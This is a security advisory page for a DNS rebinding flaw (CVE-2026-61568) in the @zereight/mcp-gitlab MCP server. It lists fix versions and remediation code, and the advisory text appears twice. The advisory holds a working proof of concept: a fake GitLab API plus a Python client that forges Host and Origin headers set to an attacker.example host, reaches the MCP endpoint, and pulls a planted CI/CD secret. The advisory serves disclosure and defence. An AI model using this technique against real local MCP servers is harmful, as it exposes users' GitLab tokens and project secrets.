CVE-2026-61568: @zereight/mcp-gitlab DNS Rebinding Reaches Local Streamable Vulnerability

CRITICAL
Advisory Identifier: GHSA-vmp7-252j-cwp7
CVSS 9.6
CWE-350
Published
Advisory Summary

CVE-2026-61568 is a CRITICAL (CVSS 9.6) dns rebinding reaches local streamable vulnerability (CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action) affecting @zereight/mcp-gitlab libraries in the npm ecosystem. The issue involves dns rebinding reaches local streamable http mcp transport. Remediation is available by upgrading affected packages to version 2.1.30.

CVE-2026-61568 at a Glance

CVE Identifier CVE-2026-61568
GHSA Identifier GHSA-vmp7-252j-cwp7
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
Affected Product @zereight/mcp-gitlab
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-61568

To remediate this vulnerability, upgrade all affected @zereight/mcp-gitlab dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@zereight/mcp-gitlab fixed: 2.1.30
npm install @zereight/mcp-gitlab@2.1.30
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @zereight/mcp-gitlab

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-61568, inspect your project dependencies using npm:

npm ls @zereight/mcp-gitlab

Analyze the terminal output to locate any version of @zereight/mcp-gitlab in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.30), your application is affected.

Note: The npm ls @zereight/mcp-gitlab command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action, where the product performs reverse dns resolution on an ip address to obtain the hostname and make a security decision, but it does not properly ensure that the ip address is truly associated with the hostname. In @zereight/mcp-gitlab, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary. This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`. The vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist: ```typescript // index.ts:12077 app.use(express.json()); registerDownloadProxy(app); ``` The Streamable HTTP transport is then created without the SDK DNS-rebinding controls: ```typescript // index.ts:12375 transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; metrics.totalSessions++; metrics.activeSessions++; }, }); ``` The transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`. The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach: ```typescript // config.ts:192 export const HOST = getConfig("host", "HOST") || "127.0.0.1"; // config.ts:196 export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT); ``` The README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access. ## Proof of concept The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately: - no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`; - no-token `tools/list` is rejected with `401`; - the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`; - the fake GitLab API records the forwarded token and returns a planted fake project variable. Start the fake GitLab API: ```bash python3 - <<'PY' import json from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from urllib.parse import parse_qs, urlparse WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl" PROJECT_ID = "pluto/rebind-target" FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001" class Handler(BaseHTTPRequestHandler): def _json(self, status, payload): data = json.dumps(payload).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def _record(self): parsed = urlparse(self.path) with open(WITNESS, "a", encoding="utf-8") as f: f.write(json.dumps({ "method": self.command, "path": parsed.path, "query": parse_qs(parsed.query), "authorization": self.headers.get("authorization"), "private_token": self.headers.get("private-token"), "job_token": self.headers.get("job-token"), }, sort_keys=True) + "\n") def do_GET(self): self._record() path = urlparse(self.path).path if path == "/health": self._json(200, {"status": "ok"}) return if path.startswith("/api/v4/") and not ( self.headers.get("authorization") or self.headers.get("private-token") or self.headers.get("job-token") ): self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"}) return if path.endswith("/variables"): self._json(200, [{ "key": "PRODUCTION_DEPLOY_TOKEN", "value": FAKE_SECRET, "protected": True, "masked": False, }]) return self._json(200, {"ok": True, "path": path}) def log_message(self, fmt, *args): return ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever() PY ``` In a second terminal, run the affected MCP server: ```bash git clone https://github.com/zereight/gitlab-mcp.git cd gitlab-mcp git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 npm install npm run build STREAMABLE_HTTP=true \ REMOTE_AUTHORIZATION=true \ HOST=127.0.0.1 \ PORT=8082 \ GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \ GITLAB_READ_ONLY_MODE=true \ GITLAB_TOOLSETS=issues,projects,repository,ci \ GITLAB_TOOLS=list_project_variables \ node build/index.js ``` In a third terminal, send MCP requests with attacker-controlled browser-origin headers: ```bash python3 - <<'PY' import json import urllib.error import urllib.request TARGET = "http://127.0.0.1:8082/mcp" REBIND_HOST = "attacker.example:8082" ORIGIN = "http://" + REBIND_HOST TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001" def parse_rpc(text): stripped = text.strip() if stripped.startswith("{"): return [json.loads(stripped)] out = [] for line in stripped.splitlines(): line = line.strip() if line.startswith("data:"): out.append(json.loads(line[5:].strip())) return out class Client: def __init__(self, token=None): self.sid = None self.token = token def post(self, body): headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Host": REBIND_HOST, "Origin": ORIGIN, } if self.token: headers["Private-Token"] = self.token if self.sid: headers["Mcp-Session-Id"] = self.sid headers["MCP-Protocol-Version"] = "2025-06-18" req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=20) as res: sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id") if sid: self.sid = sid text = res.read().decode("utf-8", "replace") return res.status, parse_rpc(text), text except urllib.error.HTTPError as exc: text = exc.read().decode("utf-8", "replace") return exc.code, parse_rpc(text), text def rpc(self, method, params=None, rid=1): body = {"jsonrpc": "2.0", "id": rid, "method": method} if params is not None: body["params"] = params status, messages, raw = self.post(body) for msg in messages: if msg.get("id") == rid: return status, msg, raw return status, {}, raw def initialized(self): self.post({"jsonrpc": "2.0", "method": "notifications/initialized"}) def initialize(client, rid): return client.rpc("initialize", { "protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "dns-rebind-check", "version": "1"}, }, rid) unauth = Client() status, init, raw = initialize(unauth, 1) print("unauth initialize:", status, "session:", unauth.sid) unauth.initialized() status, listed, raw = unauth.rpc("tools/list", {}, 2) print("unauth tools/list:", status, raw[:200]) authed = Client(TOKEN) status, init, raw = initialize(authed, 3) print("token initialize:", status, "session:", authed.sid) authed.initialized() status, listed, raw = authed.rpc("tools/list", {}, 4) tools = [tool["name"] for tool in listed["result"]["tools"]] print("listed list_project_variables:", "list_project_variables" in tools) status, called, raw = authed.rpc("tools/call", { "name": "list_project_variables", "arguments": {"project_id": "pluto/rebind-target"}, }, 5) print(raw) PY ``` Observed output: ```text unauth initialize: 200 session: <uuid> unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."} token initialize: 200 session: <uuid> listed list_project_variables: True [ { "key": "PRODUCTION_DEPLOY_TOKEN", "value": "glpat-FAKE-PROJECT-CI-SECRET-0001", "protected": true, "masked": false } ] ``` The fake GitLab API witness records that the MCP server forwarded the token to the backend request: ```json {"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}} ``` ## Impact A malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page. The confirmed impact is: - attacker-origin browser traffic reaches the local MCP `initialize` path; - server-side Host and Origin validation are absent on `/mcp`; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present; - GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables. ## Why this is a vulnerability, not intended behavior - The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard. - `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls. ## Remediation Enable the SDK DNS-rebinding protection on the Streamable HTTP transport: ```typescript transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), enableDnsRebindingProtection: true, allowedHosts: [ `127.0.0.1:${PORT}`, `localhost:${PORT}`, ], allowedOrigins: [ `http://127.0.0.1:${PORT}`, `http://localhost:${PORT}`, ], onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; }, }); ``` Add an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.

CVE-2026-61568 Affected @zereight/mcp-gitlab Versions

1 component(s)
Fixed Versions:
2.1.30
Product / Package Ecosystem Affected Versions Fixed Version
@zereight/mcp-gitlab
npm
< 2.1.30
2.1.30

References

Frequently Asked Questions

What is CVE-2026-61568?
CVE-2026-61568 is a security vulnerability in @zereight/mcp-gitlab involving DNS rebinding reaches local Streamable HTTP MCP transport under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.
Which @zereight/mcp-gitlab versions are affected?
Affected versions include releases prior to 2.1.30 across affected packages: @zereight/mcp-gitlab.
What version fixes CVE-2026-61568?
Upgrading to 2.1.30 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @zereight/mcp-gitlab affected?
Yes, @zereight/mcp-gitlab is affected in releases prior to 2.1.30. Upgrade your dependency to 2.1.30 or later.
What is the CVSS score of CVE-2026-61568?
CVE-2026-61568 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-61568?
CVE-2026-61568 is classified under CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.).
How can I check npm dependencies for CVE-2026-61568?
Run the dependency tree command: 'npm ls @zereight/mcp-gitlab'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vmp7-252j-cwp7",
  "modified" : "2026-09-15T20:54:55Z",
  "published" : "2026-09-15T20:54:55Z",
  "aliases" : [ "CVE-2026-61568" ],
  "summary" : "@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport",
  "details" : "`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.\n\nThis is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.\n\nThe vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:\n\n```typescript\n// index.ts:12077\napp.use(express.json());\n\nregisterDownloadProxy(app);\n```\n\nThe Streamable HTTP transport is then created without the SDK DNS-rebinding controls:\n\n```typescript\n// index.ts:12375\ntransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: () => randomUUID(),\n  onsessioninitialized: (newSessionId: string) => {\n    streamableTransports[newSessionId] = transport;\n    metrics.totalSessions++;\n    metrics.activeSessions++;\n  },\n});\n```\n\nThe transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.\n\nThe default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:\n\n```typescript\n// config.ts:192\nexport const HOST = getConfig(\"host\", \"HOST\") || \"127.0.0.1\";\n\n// config.ts:196\nexport const PORT = _intEnv(\"PORT\", \"port\", _PORT_DEFAULT);\n```\n\nThe README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.\n\n## Proof of concept\n\nThe following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:\n\n- no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`;\n- no-token `tools/list` is rejected with `401`;\n- the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`;\n- the fake GitLab API records the forwarded token and returns a planted fake project variable.\n\nStart the fake GitLab API:\n\n```bash\npython3 - <<'PY'\nimport json\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom urllib.parse import parse_qs, urlparse\n\nWITNESS = \"/tmp/zereight-gitlab-mcp-rebind-witness.jsonl\"\nPROJECT_ID = \"pluto/rebind-target\"\nFAKE_SECRET = \"glpat-FAKE-PROJECT-CI-SECRET-0001\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def _json(self, status, payload):\n        data = json.dumps(payload).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\n    def _record(self):\n        parsed = urlparse(self.path)\n        with open(WITNESS, \"a\", encoding=\"utf-8\") as f:\n            f.write(json.dumps({\n                \"method\": self.command,\n                \"path\": parsed.path,\n                \"query\": parse_qs(parsed.query),\n                \"authorization\": self.headers.get(\"authorization\"),\n                \"private_token\": self.headers.get(\"private-token\"),\n                \"job_token\": self.headers.get(\"job-token\"),\n            }, sort_keys=True) + \"\\n\")\n\n    def do_GET(self):\n        self._record()\n        path = urlparse(self.path).path\n        if path == \"/health\":\n            self._json(200, {\"status\": \"ok\"})\n            return\n        if path.startswith(\"/api/v4/\") and not (\n            self.headers.get(\"authorization\") or\n            self.headers.get(\"private-token\") or\n            self.headers.get(\"job-token\")\n        ):\n            self._json(401, {\"message\": \"401 Unauthorized\", \"missing\": \"GitLab token\"})\n            return\n        if path.endswith(\"/variables\"):\n            self._json(200, [{\n                \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n                \"value\": FAKE_SECRET,\n                \"protected\": True,\n                \"masked\": False,\n            }])\n            return\n        self._json(200, {\"ok\": True, \"path\": path})\n\n    def log_message(self, fmt, *args):\n        return\n\nThreadingHTTPServer((\"127.0.0.1\", 18082), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/zereight/gitlab-mcp.git\ncd gitlab-mcp\ngit checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13\nnpm install\nnpm run build\n\nSTREAMABLE_HTTP=true \\\nREMOTE_AUTHORIZATION=true \\\nHOST=127.0.0.1 \\\nPORT=8082 \\\nGITLAB_API_URL=http://127.0.0.1:18082/api/v4 \\\nGITLAB_READ_ONLY_MODE=true \\\nGITLAB_TOOLSETS=issues,projects,repository,ci \\\nGITLAB_TOOLS=list_project_variables \\\nnode build/index.js\n```\n\nIn a third terminal, send MCP requests with attacker-controlled browser-origin headers:\n\n```bash\npython3 - <<'PY'\nimport json\nimport urllib.error\nimport urllib.request\n\nTARGET = \"http://127.0.0.1:8082/mcp\"\nREBIND_HOST = \"attacker.example:8082\"\nORIGIN = \"http://\" + REBIND_HOST\nTOKEN = \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\"\n\ndef parse_rpc(text):\n    stripped = text.strip()\n    if stripped.startswith(\"{\"):\n        return [json.loads(stripped)]\n    out = []\n    for line in stripped.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            out.append(json.loads(line[5:].strip()))\n    return out\n\nclass Client:\n    def __init__(self, token=None):\n        self.sid = None\n        self.token = token\n\n    def post(self, body):\n        headers = {\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json, text/event-stream\",\n            \"Host\": REBIND_HOST,\n            \"Origin\": ORIGIN,\n        }\n        if self.token:\n            headers[\"Private-Token\"] = self.token\n        if self.sid:\n            headers[\"Mcp-Session-Id\"] = self.sid\n            headers[\"MCP-Protocol-Version\"] = \"2025-06-18\"\n        req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method=\"POST\")\n        try:\n            with urllib.request.urlopen(req, timeout=20) as res:\n                sid = res.headers.get(\"Mcp-Session-Id\") or res.headers.get(\"mcp-session-id\")\n                if sid:\n                    self.sid = sid\n                text = res.read().decode(\"utf-8\", \"replace\")\n                return res.status, parse_rpc(text), text\n        except urllib.error.HTTPError as exc:\n            text = exc.read().decode(\"utf-8\", \"replace\")\n            return exc.code, parse_rpc(text), text\n\n    def rpc(self, method, params=None, rid=1):\n        body = {\"jsonrpc\": \"2.0\", \"id\": rid, \"method\": method}\n        if params is not None:\n            body[\"params\"] = params\n        status, messages, raw = self.post(body)\n        for msg in messages:\n            if msg.get(\"id\") == rid:\n                return status, msg, raw\n        return status, {}, raw\n\n    def initialized(self):\n        self.post({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"})\n\ndef initialize(client, rid):\n    return client.rpc(\"initialize\", {\n        \"protocolVersion\": \"2025-06-18\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"dns-rebind-check\", \"version\": \"1\"},\n    }, rid)\n\nunauth = Client()\nstatus, init, raw = initialize(unauth, 1)\nprint(\"unauth initialize:\", status, \"session:\", unauth.sid)\nunauth.initialized()\nstatus, listed, raw = unauth.rpc(\"tools/list\", {}, 2)\nprint(\"unauth tools/list:\", status, raw[:200])\n\nauthed = Client(TOKEN)\nstatus, init, raw = initialize(authed, 3)\nprint(\"token initialize:\", status, \"session:\", authed.sid)\nauthed.initialized()\nstatus, listed, raw = authed.rpc(\"tools/list\", {}, 4)\ntools = [tool[\"name\"] for tool in listed[\"result\"][\"tools\"]]\nprint(\"listed list_project_variables:\", \"list_project_variables\" in tools)\nstatus, called, raw = authed.rpc(\"tools/call\", {\n    \"name\": \"list_project_variables\",\n    \"arguments\": {\"project_id\": \"pluto/rebind-target\"},\n}, 5)\nprint(raw)\nPY\n```\n\nObserved output:\n\n```text\nunauth initialize: 200 session: <uuid>\nunauth tools/list: 401 {\"error\":\"Missing Private-Token, JOB-TOKEN, or Authorization header\",\"message\":\"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header.\"}\ntoken initialize: 200 session: <uuid>\nlisted list_project_variables: True\n[\n  {\n    \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n    \"value\": \"glpat-FAKE-PROJECT-CI-SECRET-0001\",\n    \"protected\": true,\n    \"masked\": false\n  }\n]\n```\n\nThe fake GitLab API witness records that the MCP server forwarded the token to the backend request:\n\n```json\n{\"authorization\": null, \"job_token\": null, \"method\": \"GET\", \"path\": \"/api/v4/projects/pluto%2Frebind-target/variables\", \"private_token\": \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\", \"query\": {}}\n```\n\n## Impact\n\nA malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.\n\nThe confirmed impact is:\n\n- attacker-origin browser traffic reaches the local MCP `initialize` path;\n- server-side Host and Origin validation are absent on `/mcp`;\n- tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;\n- GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.\n\n## Why this is a vulnerability, not intended behavior\n\n- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`.\n- The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard.\n- `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.\n\n## Remediation\n\nEnable the SDK DNS-rebinding protection on the Streamable HTTP transport:\n\n```typescript\ntransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: () => randomUUID(),\n  enableDnsRebindingProtection: true,\n  allowedHosts: [\n    `127.0.0.1:${PORT}`,\n    `localhost:${PORT}`,\n  ],\n  allowedOrigins: [\n    `http://127.0.0.1:${PORT}`,\n    `http://localhost:${PORT}`,\n  ],\n  onsessioninitialized: (newSessionId: string) => {\n    streamableTransports[newSessionId] = transport;\n  },\n});\n```\n\nAdd an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@zereight/mcp-gitlab"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.30"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zereight/gitlab-mcp/pull/555"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zereight/gitlab-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-350" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-15T20:54:55Z",
    "nvd_published_at" : null
  }
}